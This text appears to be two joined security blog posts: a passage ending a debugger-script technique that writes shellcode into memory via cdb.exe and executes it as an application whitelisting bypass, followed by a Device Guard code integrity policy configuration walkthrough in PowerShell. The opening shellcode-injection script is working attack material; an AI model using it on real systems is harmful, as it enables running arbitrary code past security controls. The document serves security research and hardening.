;eb @$t0+04 F0;eb @$t0+05 E8;eb @$t0+06 C0;eb @$t0+07 00

;eb @$t0+08 00;eb @$t0+09 00;eb @$t0+0A 41;eb @$t0+0B 51

;eb @$t0+0C 41;eb @$t0+0D 50;eb @$t0+0E 52;eb @$t0+0F 51

;eb @$t0+10 56;eb @$t0+11 48;eb @$t0+12 31;eb @$t0+13 D2

;eb @$t0+14 65;eb @$t0+15 48;eb @$t0+16 8B;eb @$t0+17 52

;eb @$t0+18 60;eb @$t0+19 48;eb @$t0+1A 8B;eb @$t0+1B 52

;eb @$t0+1C 18;eb @$t0+1D 48;eb @$t0+1E 8B;eb @$t0+1F 52

;eb @$t0+20 20;eb @$t0+21 48;eb @$t0+22 8B;eb @$t0+23 72

;eb @$t0+24 50;eb @$t0+25 48;eb @$t0+26 0F;eb @$t0+27 B7

;eb @$t0+28 4A;eb @$t0+29 4A;eb @$t0+2A 4D;eb @$t0+2B 31

;eb @$t0+2C C9;eb @$t0+2D 48;eb @$t0+2E 31;eb @$t0+2F C0

;eb @$t0+30 AC;eb @$t0+31 3C;eb @$t0+32 61;eb @$t0+33 7C

;eb @$t0+34 02;eb @$t0+35 2C;eb @$t0+36 20;eb @$t0+37 41

;eb @$t0+38 C1;eb @$t0+39 C9;eb @$t0+3A 0D;eb @$t0+3B 41

;eb @$t0+3C 01;eb @$t0+3D C1;eb @$t0+3E E2;eb @$t0+3F ED

;eb @$t0+40 52;eb @$t0+41 41;eb @$t0+42 51;eb @$t0+43 48

;eb @$t0+44 8B;eb @$t0+45 52;eb @$t0+46 20;eb @$t0+47 8B

;eb @$t0+48 42;eb @$t0+49 3C;eb @$t0+4A 48;eb @$t0+4B 01

;eb @$t0+4C D0;eb @$t0+4D 8B;eb @$t0+4E 80;eb @$t0+4F 88

;eb @$t0+50 00;eb @$t0+51 00;eb @$t0+52 00;eb @$t0+53 48

;eb @$t0+54 85;eb @$t0+55 C0;eb @$t0+56 74;eb @$t0+57 67

;eb @$t0+58 48;eb @$t0+59 01;eb @$t0+5A D0;eb @$t0+5B 50

;eb @$t0+5C 8B;eb @$t0+5D 48;eb @$t0+5E 18;eb @$t0+5F 44

;eb @$t0+60 8B;eb @$t0+61 40;eb @$t0+62 20;eb @$t0+63 49

;eb @$t0+64 01;eb @$t0+65 D0;eb @$t0+66 E3;eb @$t0+67 56

;eb @$t0+68 48;eb @$t0+69 FF;eb @$t0+6A C9;eb @$t0+6B 41

;eb @$t0+6C 8B;eb @$t0+6D 34;eb @$t0+6E 88;eb @$t0+6F 48

;eb @$t0+70 01;eb @$t0+71 D6;eb @$t0+72 4D;eb @$t0+73 31

;eb @$t0+74 C9;eb @$t0+75 48;eb @$t0+76 31;eb @$t0+77 C0

;eb @$t0+78 AC;eb @$t0+79 41;eb @$t0+7A C1;eb @$t0+7B C9

;eb @$t0+7C 0D;eb @$t0+7D 41;eb @$t0+7E 01;eb @$t0+7F C1

;eb @$t0+80 38;eb @$t0+81 E0;eb @$t0+82 75;eb @$t0+83 F1

;eb @$t0+84 4C;eb @$t0+85 03;eb @$t0+86 4C;eb @$t0+87 24

;eb @$t0+88 08;eb @$t0+89 45;eb @$t0+8A 39;eb @$t0+8B D1

;eb @$t0+8C 75;eb @$t0+8D D8;eb @$t0+8E 58;eb @$t0+8F 44

;eb @$t0+90 8B;eb @$t0+91 40;eb @$t0+92 24;eb @$t0+93 49

;eb @$t0+94 01;eb @$t0+95 D0;eb @$t0+96 66;eb @$t0+97 41

;eb @$t0+98 8B;eb @$t0+99 0C;eb @$t0+9A 48;eb @$t0+9B 44

;eb @$t0+9C 8B;eb @$t0+9D 40;eb @$t0+9E 1C;eb @$t0+9F 49

;eb @$t0+A0 01;eb @$t0+A1 D0;eb @$t0+A2 41;eb @$t0+A3 8B

;eb @$t0+A4 04;eb @$t0+A5 88;eb @$t0+A6 48;eb @$t0+A7 01

;eb @$t0+A8 D0;eb @$t0+A9 41;eb @$t0+AA 58;eb @$t0+AB 41

;eb @$t0+AC 58;eb @$t0+AD 5E;eb @$t0+AE 59;eb @$t0+AF 5A

;eb @$t0+B0 41;eb @$t0+B1 58;eb @$t0+B2 41;eb @$t0+B3 59

;eb @$t0+B4 41;eb @$t0+B5 5A;eb @$t0+B6 48;eb @$t0+B7 83

;eb @$t0+B8 EC;eb @$t0+B9 20;eb @$t0+BA 41;eb @$t0+BB 52

;eb @$t0+BC FF;eb @$t0+BD E0;eb @$t0+BE 58;eb @$t0+BF 41

;eb @$t0+C0 59;eb @$t0+C1 5A;eb @$t0+C2 48;eb @$t0+C3 8B

;eb @$t0+C4 12;eb @$t0+C5 E9;eb @$t0+C6 57;eb @$t0+C7 FF

;eb @$t0+C8 FF;eb @$t0+C9 FF;eb @$t0+CA 5D;eb @$t0+CB 48

;eb @$t0+CC BA;eb @$t0+CD 01;eb @$t0+CE 00;eb @$t0+CF 00

;eb @$t0+D0 00;eb @$t0+D1 00;eb @$t0+D2 00;eb @$t0+D3 00

;eb @$t0+D4 00;eb @$t0+D5 48;eb @$t0+D6 8D;eb @$t0+D7 8D

;eb @$t0+D8 01;eb @$t0+D9 01;eb @$t0+DA 00;eb @$t0+DB 00

;eb @$t0+DC 41;eb @$t0+DD BA;eb @$t0+DE 31;eb @$t0+DF 8B

;eb @$t0+E0 6F;eb @$t0+E1 87;eb @$t0+E2 FF;eb @$t0+E3 D5

;eb @$t0+E4 BB;eb @$t0+E5 E0;eb @$t0+E6 1D;eb @$t0+E7 2A

;eb @$t0+E8 0A;eb @$t0+E9 41;eb @$t0+EA BA;eb @$t0+EB A6

;eb @$t0+EC 95;eb @$t0+ED BD;eb @$t0+EE 9D;eb @$t0+EF FF

;eb @$t0+F0 D5;eb @$t0+F1 48;eb @$t0+F2 83;eb @$t0+F3 C4

;eb @$t0+F4 28;eb @$t0+F5 3C;eb @$t0+F6 06;eb @$t0+F7 7C

;eb @$t0+F8 0A;eb @$t0+F9 80;eb @$t0+FA FB;eb @$t0+FB E0

;eb @$t0+FC 75;eb @$t0+FD 05;eb @$t0+FE BB;eb @$t0+FF 47

;eb @$t0+100 13;eb @$t0+101 72;eb @$t0+102 6F;eb @$t0+103 6A

;eb @$t0+104 00;eb @$t0+105 59;eb @$t0+106 41;eb @$t0+107 89

;eb @$t0+108 DA;eb @$t0+109 FF;eb @$t0+10A D5;eb @$t0+10B 63

;eb @$t0+10C 61;eb @$t0+10D 6C;eb @$t0+10E 63;eb @$t0+10F 00


$$ Redirect execution to the shellcode buffer


$$ Continue program execution - i.e. execute the shellcode

g


$$ Continue program execution after hitting a breakpoint

$$ upon starting calc.exe. This is specific to this shellcode.

g


$$ quit cdb.exe

q


I chose to use cdb.exe in the example as it is a command-line debugger whereas WinDbg is a GUI debugger. Additionally, these debuggers are portable. It imports DLLs that are all present in System32. So the only files that you would be dropping on the target system is cdb.exe and the script above - none of which should be flagged by AV. In reality, the script isn’t even required on disk. You can just paste the commands in manually if you like.


Now, you may be starting to ask yourself, “how could I go about blocking windbg.exe, cdb.exe, kd.exe etc.?“ You might block the hashes from executing with AppLocker. Great, but then someone will just run an older version of any of those programs and it won’t block future versions either. You could block anything named cdb.exe, windbg.exe, etc. from running. Okay, then the attacker will just rename it to foo.exe. You could blacklist the certificate used to sign cdb.exe, windbg.exe, etc. Then you might be blocking other legitimate Microsoft applications signed with the same certificate. On Windows RT, this attack was somewhat mitigated by the fact that user-mode code integrity (UMCI) prevented a user from attaching a debugger invasively – what I did in this example. The ability to enforce this with Device Guard, however, does not present itself as a configuration feature. At the time of this writing, I don’t have any realistic preventative defenses but I will certainly be looking into them as I dig into Device Guard more. As far as detection is concerned, there ought to be plenty of creative ways to detect this including something as simple as command-line auditing.



Anyway, while this may not be the sexiest of ways to execute shellcode, I’d like to think it’s a decent, generic application whitelisting bypass that will be difficult in practice to prevent. Enjoy!

Introduction to Windows Device Guard: Introduction and Configuration Strategy

6 September 2016 at 14:24

Introduction

Welcome to the first in a series a Device Guard blog posts. This post is going to cover some introductory concepts about Device Guard and it will detail the relatively aggressive strategy that I used to configure it on my Surface Pro 4 tablet running a fresh install of Windows 10 Enterprise Anniversary Update (1607). The goal of this introductory post is to start getting you comfortable with Device Guard and experimenting with it yourselves. In subsequent posts, I will begin to describe various bypasses and will describe methods to effectively mitigate against each bypass. The ultimate goal of this series of posts is to educate readers about the strengths and current weaknesses of what I consider to be an essential technology in preventing a massive class of malware infections in a post-compromise scenario (i.e. exploit mitigation is another subject altogether).


Device Guard Basics

Device Guard is a powerful set of hardware and software security features available in Windows 10 Enterprise and Server 2016 (including Nano Server with caveats that I won’t explain in this post) that aim to block the loading of drivers, user-mode binaries (including DLLs), MSIs, and scripts (PowerShell and Windows Script Host - vbs, js, wsf, wsc) that are not explicitly authorized per policy. In other words, it’s a whitelisting solution. The idea, in theory, being a means to prevent arbitrary unsigned code execution (excluding remote exploits). Right off the bat, you may already be asking, “why not just use AppLocker and why is Microsoft recreating the wheel?” I certainly had those questions and I will attempt to address them later in the post.


Device Guard can be broken down into two primary components:


1 - Code integrity (CI)

The code integrity component of Device Guard enforces both kernel mode code integrity (KMCI) and user mode code integrity (UMCI). The rules enforced by KMCI and UMCI are dictated by a code integrity policy - a configurable list of whitelist rules that can apply to drivers, user-mode binaries, MSIs, and scripts. Now, technically, PowerShell scripts can still execute, but unless the script or module is explicitly allowed via the code integrity policy, it will be forced to execute in constrained language mode, which prevents a user from calling Add-Type, instantiating .NET objects, and invoking .NET methods, effectively precluding PowerShell from being used to gain any form of arbitrary unsigned code execution. Additionally, WSH scripts will still execute if they don't comply with the deployed code integrity policy, but they will fail to instantiate any COM objects which is reasonable considering unsigned PowerShell will still execute but in a very limited fashion. As of this writing, the script-based protections of Device Guard are not documented by Microsoft.

So with a code integrity policy, for example, if I wanted my system to only load drivers or user-mode code signed by Microsoft, such rules would be stated in my policy. Code integrity policies are created using the cmdlets present in the ConfigCI PowerShell module. CI policies are configured as a plaintext XML document then converted to a binary-encoded XML format when they are deployed. For additional protections, CI policies can also be signed with a valid code-signing certificate.


2 - Virtualization-based Security (VBS)

Virtualization-based Security is comprised of several hypervisor and modern hardware-based security features are used to protect the enforcement of a code integrity policy, Credential Guard, and shielded VMs. While it is not mandatory to have hardware that supports VBS features, without it, the effectiveness of Device Guard will be severely hampered. Without delving into too much detail, VBS will improve the enforcement of Device Guard by attempting to prevent disabling code integrity enforcement even as an elevated user who doesn’t have physical access to the target. It can also prevent DMA-based attacks and also restrict any kernel code from creating executable memory that isn’t explicitly conformant to the code integrity policy. The following resources elaborate on VBS:



Microsoft provides a Device Guard and Credential Guard hardware readiness tool that you should use to assess which hardware-specific components of Device Guard and/or Credential Guard can be enabled. This post does not cover Credential Guard.


Configuration Steps and Strategy

Before we get started, I highly recommend that you read the official Microsoft documentation on Device Guard and also watch the Ignite 2015 talk detailing Device Guard design and configuration - Dropping the Hammer Down on Malware Threats with Windows 10’s Device Guard (PPTX, configuration script). The Ignite talk covers some aspects of Device Guard that are not officially documented.


You can download the fully documented code I used to generate my code integrity policy. You can also download the finalized code integrity policy that the code below generated for my personal Surface Pro 4. Now, absolutely do not just deploy that to your system. I’m only providing it as a reference for comparison to the code integrity policy that you create for your system. Do not complain that it might be overly permissive (because I know it is in some respects) and please do not ask why this policy doesn’t work on your system. You also probably wouldn't want to trust code signed by my personal code-signing certificate. ;)


In the Ignite talk linked to above, Scott and Jeffrey describe creating a code integrity policy for a golden system by scanning the computer for all binaries present on it and allowing any driver, script, MSI, application, or DLL to execute based on the certificate used to sign those binaries/scripts. While this is in my opinion, a relatively simple way to establish an initial policy, in practice, I consider this approach to be overly permissive. When I used this methodology on my fresh install of Windows 10 Enterprise Anniversary Update with Chrome installed, the code integrity policy generated consisted of what would be considered normal certificates mixed in with several test signing certificates. Personally, I don’t want to grant anything permission to run that was signed with a test certificate. Notable certificates present in the generated policy were the following:


  • Microsoft Windows Phone Production PCA 2012
  • MSIT Test CodeSign CA 6
  • OEMTest OS Root CA
  • WDKTestCert wdclab,130885612892544312

Upon finding such certificate oddities, I decided to tackle development of a code integrity policy another way – create an empty policy (i.e. deny everything), configure Device Guard in audit mode, and then craft my policy based on what was loaded and denied in the CodeIntegrity event log.


So now let’s dive into how I configured my Surface Pro 4. For starters, I only wanted signed Microsoft code to execute (with a couple third party hardware driver exceptions). Is this a realistic configuration? It depends but probably not. You’re probably going to want non-Microsoft code to run as well. That’s fine. We can configure that later but my personal goal is to only allow Microsoft code to run since everyone using Device Guard will need to do that at a minimum. I will then have a pristine, locked down system which I can then use to research ways of gaining unsigned code execution with signed Microsoft binaries. Now, just to be clear, if you want your system be able to boot and apply updates, you’ll obviously need to allow code signed by Microsoft to run. So to establish my “golden system,” I did the following:


  1. Performed a fresh install of Windows 10 Enterprise Anniversary Update.
  2. Ensured that it was fully updated via Windows Update.

In the empty, template policy, I have the following policy rules enabled:

  1 - Unsigned System Integrity Policy (during policy configuration/testing phases)


Signing your code integrity policy makes it so that deployed policies cannot be removed (assuming they are locked in UEFI using VBS protections) and that they can only be updated using approved code signing certificates as specified in the policy.


  2 - Audit Mode (during policy configuration/testing phases)


I want to simulate denying execution of everything on the system that attempts to load. After I perform normal computing tasks on my computer for a while, I will then develop a new code integrity policy based upon the certificates used to sign everything that would have been denied in the Microsoft-Windows-CodeIntegrity/Operational and Microsoft-Windows-AppLocker (it is not documented that Device Guard pulls from the AppLocker log) logs.


  3 - Advanced Boot Options Menu (during policy configuration/testing phases)

If I somehow misconfigure my policy, deploy it, and my Surface no longer boots, I’ll need a fallback option to recover. This option would allow you to reboot and hold down F8 to access a recovery prompt where I could delete the deployed code integrity policy if I had to. Note: you might be thinking that this would be an obvious Device Guard bypass for someone with physical access. Well, if your policy is not in audit mode and it is required to be signed, you can delete the deployed code integrity policy from disk but it will return unharmed after a reboot. Configuring Bitlocker would prevent an attacker with physical access from viewing and deleting files from disk though via the recovery prompt.

  4 - UMCI

We want Device Guard to not only apply to drivers but to user-mode binaries, MSIs, and scripts as well.

  5 - WHQL


Only load driver that are Windows Hardware Quality Labs (WHQL) signed. This is supposed to be a mandate for all new Windows 10-compatible drivers so we’ll want to make sure we enforce this.

  6 - EV Signers

We want to only load drivers that are not only WHQL signed but also signed with an extended validation certificate. This is supposed to be a requirement for all drivers in Windows 10 Anniversary update. Unfortunately, as we will later discover, this is not the case; not even for all Microsoft drivers (specifically, my Surface Pro 4-specific hardware drivers).

Several others policy rules will be described in subsequent steps. For details on all the available, configurable policy rule options, read the official documentation.

What will follow will be the code and rationale I used to develop my personal code integrity policy. This is a good time to mention that there is never going to be a one size fits all solution for code integrity policy development. I am choosing a relatively locked down, semi-unrealistic policy that will most likely form a minimal basis for pretty much any other code integrity policy out there.


Configuration Phase #1 - Deny-all audit policy deployment

In this configuration phase, I’m going to create an empty, template policy placed in audit mode that will simulate denying execution of every driver, user-mode binary, MSI, and script. After running my system for a few days and getting a good baseline for the programs I’m going to execute (excluding third party binaries since I only want MS binaries to run), I can generate a new policy based on what would have been denied execution in the event log.


There is no standard method of generating an empty policy so what I did was call New-CIPolicy and have it generate a policy from a completely empty directory.


It is worth noting at this point that I will be deploying all subsequent policies directly to %SystemRoot%\System32\CodeIntegrity\SIPolicy.p7b. You can, however configure via Group Policy an alternate file path where CI policies should be pulled from and I believe you have to set this location via Group Policy if you’re using a signed policy file (at least from my experimentation). This procedure is documented here. You had damn well better make sure that any user doesn’t have write access to the directory where the policy file is contained if an alternate path is specified with Group Policy.


What follows is the code I used to generate and deploy the initial deny-all audit policy. I created a C:\DGPolicyFiles directory to contain all my policy related files. You can use any directory you want though.


# The staging directory I'm using for my Device Guard setup

$PolicyDirectory= 'C:\DGPolicyFiles'


# Path to the empty template policy that will place Device Guard

# into audit mode and simulate denying execution of everything.

$EmptyPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'EmptyPolicy.xml'


# Generate an empty, deny-all policy

# There is no intuitive way to generate an empty policy so we will

# go about doing it by generating a policy based on an empty directory.

$EmptyDir= Join-Path-Path $PolicyDirectory-ChildPath 'EmptyDir'

mkdir-Path $EmptyDir

New-CIPolicy-FilePath $EmptyPolicyXml-Level PcaCertificate-ScanPath $EmptyDir-NoShadowCopy

Remove-Item$EmptyDir


# Only load drivers that are WHQL signed

Set-RuleOption-FilePath $EmptyPolicyXml-Option 2
# Enable UMCI enforcement
Set-RuleOption -FilePath $EmptyPolicyXml -Option 0

# Only allow drivers to load that are WHQL signed by trusted MS partners

# who sign their drivers with an extended validation certificate.

# Note: this is an idealistic setting that will probably prevent some of your

# drivers from loading. Enforcing this in audit mode however will at least

# inform you as to what the problematic drivers are.

Set-RuleOption-FilePath $EmptyPolicyXml-Option 8


# A generated policy will also have the following policy options set by default

# * Unsigned System Integrity Policy

# * Audit Mode

# * Advanced Boot Options Menu

# * Enforce Store Applications


# In order to deploy the policy, the XML policy has to be converted

# to p7b format with the ConvertFrom-CIPolicy cmdlet.

$EmptyPolicyBin= Join-Path-Path $PolicyDirectory-ChildPath 'EmptyPolicy.bin'


ConvertFrom-CIPolicy-XmlFilePath $EmptyPolicyXml-BinaryFilePath $EmptyPolicyBin


# We're going to copy the policy file in binary format to here. By simply copying

# the policy file to this destination, we're deploying our policy and enabling it

# upon reboot.

$CIPolicyDeployPath= Join-Path-Path $env:SystemRoot-ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item-Path $EmptyPolicyBin-Destination $CIPolicyDeployPath-Force


# At this point, you may want to clear the Microsoft-Windows-CodeIntegrity/Operational

# event log and increase the size of the log to accommodate the large amount of

# entries that will populate the event log as a result of an event log entry being

# created upon code being loaded.


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the deny-all audit policy will be in place.


Configuration Phase #2 - Code integrity policy creation based on audit logs

Hopefully, you’ve run your system for a while and established a good baseline of all the drivers, user-mode binaries (including DLLs) and scripts that are necessary for you to do your job. If that’s the case, then you are ready to build generate the next code integrity policy based solely on what was reported as denied in the event log.


When generating this new code integrity policy, I will specify the PcaCertificate file rule level which is probably the best file rule level for this round of CI policy generation as it is the highest in the code signing cert signer chain and it has a longer validity time frame than a leaf certificate (i.e. lowest in the signing chain). You could use more restrictive file rules (e.g. LeafCertificate, Hash, FilePublisher, etc.) but you would be weighing updatability with increased security. For example, you should be careful when whitelisting third party PCA certificates as a malicious actor would just need to be issued a code signing certificate from that third party vendor as a means of bypassing your policy. Also, consider a scenario where a vulnerable older version of a signed Microsoft binary was used to gain code execution. If this is a concern, consider using a file rule like FilePublisher or WHQLFilePublisher for WHQL-signed drivers.


Now, when we call New-CIPolicy to generate the policy based on the audit log, you may notice a lot of warning messages claiming that it is unable to locate a bunch of drivers on disk. This apperas to be an unfortunate path parsing bug that will become a problem that we will address in the next configuration phase.



Driver path parsing bug

# Hopefully, you've spent a few days using your system for its intended purpose and didn't

# install any software that would compromise the "gold image" that you're aiming for.

# Now we're going to craft a CI policy based on what would have been denied from loading.

# Obviously, these are the kinds of applications, scripts, and drivers that will need to

# execute in order for your system to work as intended.


# The staging directory I'm using for my Device Guard setup

$PolicyDirectory= 'C:\DGPolicyFiles'


# Path to the CI policy that will be generated based on the entries present

# in the CodeIntegrity event log.

$AuditPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'AuditLogPolicy.xml'


# Generate the CI policy based on what would have been denied in the event logs

# (i.e. Microsoft-Windows-CodeIntegrity/Operational and Microsoft-Windows-AppLocker/MSI and Script)

# PcaCertificate is probably the best file rule level for this round of CI policy generation

# as it is the highest in the code signing cert signer chain and it has a longer validity time frame

# than a leaf certificate (i.e. lowest in the signing chain).

# This may take a few minutes to generate the policy.

# The resulting policy will result in a rather concise list of whitelisted PCA certificate signers.

New-CIPolicy-FilePath $AuditPolicyXml-Level PcaCertificate-Audit -UserPEs


# Note: This policy, when deployed will still remain in audit mode as we should not be confident

# at this point that we've gotten everything right.


# Now let's deploy the new policy

$AuditPolicyBin= Join-Path-Path $PolicyDirectory-ChildPath 'AuditLogPolicy.bin'


ConvertFrom-CIPolicy-XmlFilePath $AuditPolicyXml-BinaryFilePath $AuditPolicyBin


# We're going to copy the policy file in binary format to here. By simply copying

# the policy file to this destination, we're deploying our policy and enabling it

# upon reboot.

$CIPolicyDeployPath= Join-Path-Path $env:SystemRoot-ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item-Path $AuditPolicyBin-Destination $CIPolicyDeployPath-Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the audit policy will be in place.


Configuration Phase #3 - Code integrity policy final tweaks while still in audit mode

In this phase, we’ve rebooted and noticed that there are a bunch of drivers that wouldn’t have loaded if we actually enforced the policy. This is due to the driver path parsing issue I described in the last section. Until this bug is fixed, I believe there are two realistic methods of handling this:

  •  Manually copy the paths of the drivers from the event log with a PowerShell script and copy the drivers to a dedicated directory and generate a new policy based on the drivers in that directory and then merge that policy with the policy we generated in phase #2. I personally had some serious issues with this strategy in practice.
  • Generate a policy by scanning %SystemRoot%\System32\drivers and then merge that policy with the policy we generated in phase #2. For this blog post, that’s what we will be doing out of simplicity. The only reason I hesitate to use this strategy is that I don’t want to be overly permissive necessarily and whitelist certificates for drivers I don’t use that might be issued by a non-Microsoft public certification authority.

Additionally, one of the side effects of this bug is that the generated policy from phase #2 only has rules for user-mode code and not drivers. We obviously need driver rules.


# My goal in this phase is to see what remaining CodeItegrity log entries

# exist and to try to rectify them while still in audit mode before placing

# code integrity into enforcement mode.


# For me, I had about 30 event log entries that indicated the following:

#

# Code Integrity determined that a process (Winload) attempted to load

# System32\Drivers\mup.sys that did not meet the Authenticode signing

# level requirements or violated code integrity policy. However, due to

# code integrity auditing policy, the image was allowed to load.


# Upon trying to create a new policy based on these event log entries via the following command

# New-CIPolicy -FilePath Audit2.xml -Level PcaCertificate -Audit

# I got a bunch of the following warnings:

#

# File at path \\?\GLOBALROOTSystem32\Drivers\Wof.sys in the audit log was not found.

# It has likely been deleted since it was last run

#

# Ugh. No it wasn't deleted. This looks like a path parsing bug. Personally, I'm

# comfortable trusting all drivers in %SystemRoot%\System32\Drivers so I'm going

# to create a policy from that directory and merge it with my prior. Afterall,

# my system would not boot if I didn't whitelist them.


$PolicyDirectory= 'C:\DGPolicyFiles'


# Path to the CI policy that will be generated based on the entries present

# in the CodeIntegrity event log.

$DriverPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'SystemDriversPolicy.xml'


# Create a whitelisted policy for all drivers in System32\drivers to account for

# the New-CIPolicy audit log scanning path parsing bug...


# Note: this really annoying bug prevented and rules in the previous phase from being created

# for drivers - only user-mode binaries and scripts. If I were to deploy and enforce a policy without

# driver whitelist rules, I'd have an unbootable system.

New-CIPolicy-FilePath $DriverPolicyXml-Level PcaCertificate-ScanPath 'C:\Windows\System32\drivers\'


# Some may consider this strategy to be too permissive (myself partially included). The ideal strategy

# here probably would have been to pull out the individual driver paths, copy them to a dedicated

# directory and generate a policy for just those drivers. For the ultra paranoid, this is left as an

# exercise to the reader.


# Now we have to merge this policy with the last one as a means of consolidating whitelist rules.

$AuditPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'AuditLogPolicy.xml'

$MergedAuditPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.xml'

Merge-CIPolicy-OutputFilePath $MergedAuditPolicyXml-PolicyPaths $DriverPolicyXml, $AuditPolicyXml


# Now let's deploy the new policy

$MergedAuditPolicyBin= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy-XmlFilePath $MergedAuditPolicyXml-BinaryFilePath $MergedAuditPolicyBin


# We're going to copy the policy file in binary format to here. By simply copying

# the policy file to this destination, we're deploying our policy and enabling it

# upon reboot.

$CIPolicyDeployPath= Join-Path-Path $env:SystemRoot-ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item-Path $MergedAuditPolicyBin-Destination $CIPolicyDeployPath-Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the merged policy will be in place.


Configuration Phase #4 - Deployment of the CI policy in enforcement mode

Alright, we’ve rebooted and the CodeIntegrity log no longer presents the entries for drivers that would not have been loaded. Now we’re going to simply remove audit mode from the policy, redeploy, reboot, and cross our fingers that we have a working system upon reboot.


# This is the point where I feel comfortable enforcing my policy. The CodeIntegrity log

# is now only populated with a few anomalies - e.g. primarily entries related to NGEN

# native image generation. I'm okay with blocking these but hopefully, the Device Guard

# team can address how to handle NGEN generated images properly since this is not documented.


$PolicyDirectory= 'C:\DGPolicyFiles'

$MergedAuditPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.xml'


# Now all we need to do is remove audit mode from the policy, redeploy, reboot, and cross our

# fingers that the system is useable. Note that the "Advanced Boot Options Menu" option is still

# enabled so we have a way to delete the deployed policy from a recovery console if things break.


Set-RuleOption-FilePath $MergedAuditPolicyXml-Delete -Option3


$MergedAuditPolicyBin= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy-XmlFilePath $MergedAuditPolicyXml-BinaryFilePath $MergedAuditPolicyBin


$CIPolicyDeployPath= Join-Path-Path $env:SystemRoot-ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item-Path $MergedAuditPolicyBin-Destination $CIPolicyDeployPath-Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the enforced policy will be in place. This is the moment of truth!


Configuration Phase #5 - Updating policy to no longer enforce EV signers

So it turns out that I was a little overambitious in forcing EV signer enforcement on my Surface tablet as pretty much all of my Surface hardware drivers didn't load. This is kind of a shame considering I would expect MS hardware drivers to be held to the highest standards imposed by MS. So I'm going to remove EV signer enforcement and while I'm at it, I'm going to enforce blocking of flight-signed drivers. These are drivers signed by an MS test certificate used in Windows Insider Preview builds. So obviously, you won't want to be running WIP builds of Windows if you're enforcing this.


FYI, I was fortunate enough for the system to boot to discover that EV signature enforcement was the issue.


$PolicyDirectory= 'C:\DGPolicyFiles'

$MergedAuditPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.xml'


# No longer enforce EV signers

Set-RuleOption-FilePath $MergedAuditPolicyXml-Delete -Option8


# Enforce blocking of flight signed code.

Set-RuleOption-FilePath $MergedAuditPolicyXml-Option 4


$MergedAuditPolicyBin= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy-XmlFilePath $MergedAuditPolicyXml-BinaryFilePath $MergedAuditPolicyBin


$CIPolicyDeployPath= Join-Path-Path $env:SystemRoot-ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item-Path $MergedAuditPolicyBin-Destination $CIPolicyDeployPath-Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the modified, enforced policy will be in place.


# In retrospect, it would have been smart to have enabled "Boot Audit on Failure"

# with Set-RuleOption as it would have placed device guard into audit mode in order to allow

# boot drivers to boot that would have otherwise been blocked by policy.


Configuration Phase #6 - Monitoring and continued hardening

At this point we have a decent starting point and I'll leave it up to you as to how you'd like to proceed in terms of CI policy configuration and deployment.


Me personally, I performed the following:


  1. Used Add-SignerRule to add an Update and User signer rule with my personal code signing certificate. This grants me permission to sign my policy and execute user-mode binaries and scripts signed by me. I need to sign some of my PowerShell code that I use often since it is incompatible in constrained language mode. Signed scripts authorized by CI policy execute in full language mode. Obviously, I personally need to sign my own code sparingly. For example, it would be dumb for me to sign Invoke-Shellcode since that would explicitly circumvent user-mode code integrity.
  2. Remove "Unsigned System Integrity Policy" from the configuration. This forces me to sign the policy. It also prevents modification and removal of a deployed policy and it can only be updated by signing an updated policy.
  3. I removed the "Boot Menu Protection" option from the CI policy. This is a potential vulnerability to an attacker with physical access.
  4. I also enabled virtualization-based security via group policy to achieve the hardware supported Device Guard enforcement/improvements.

What follows is the code I used to allow my code signing cert to sign the policy and sign user-mode binaries. Obviously, this is specific to my personal code-signing certificate.

# I don't plan on using my code signing cert to sign drivers so I won't allow that right now.

# Note: I'm performing these steps on an isolated system that contains my imported code signing

# certificate. I don't have my code signing cert on the system that I'm protecting with

# Device Guard hopefully for obvious reasons.


$PolicyDirectory= 'C:\DGPolicyFiles'

$CodeSigningSertPath= Join-Path$PolicyDirectory 'codesigning.cer'

$MergedAuditPolicyXml= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.xml'


Add-SignerRule-FilePath $MergedAuditPolicyXml-CertificatePath $CodeSigningSertPath-User -Update


$MergedAuditPolicyBin= Join-Path-Path $PolicyDirectory-ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy-XmlFilePath $MergedAuditPolicyXml-BinaryFilePath $MergedAuditPolicyBin


# I'm signing my code integrity policy now.

signtool.exesign -v /n "Matthew Graeber" -p7 . -p7co 1.3.6.1.4.1.311.79.1 -fdsha256 $MergedAuditPolicyBin


# Now, once I deploy this policy, I will only be able to make updates to the policy by

# signing an updated policy with the same signing certificate.


Virtualization-based Security Enforcement

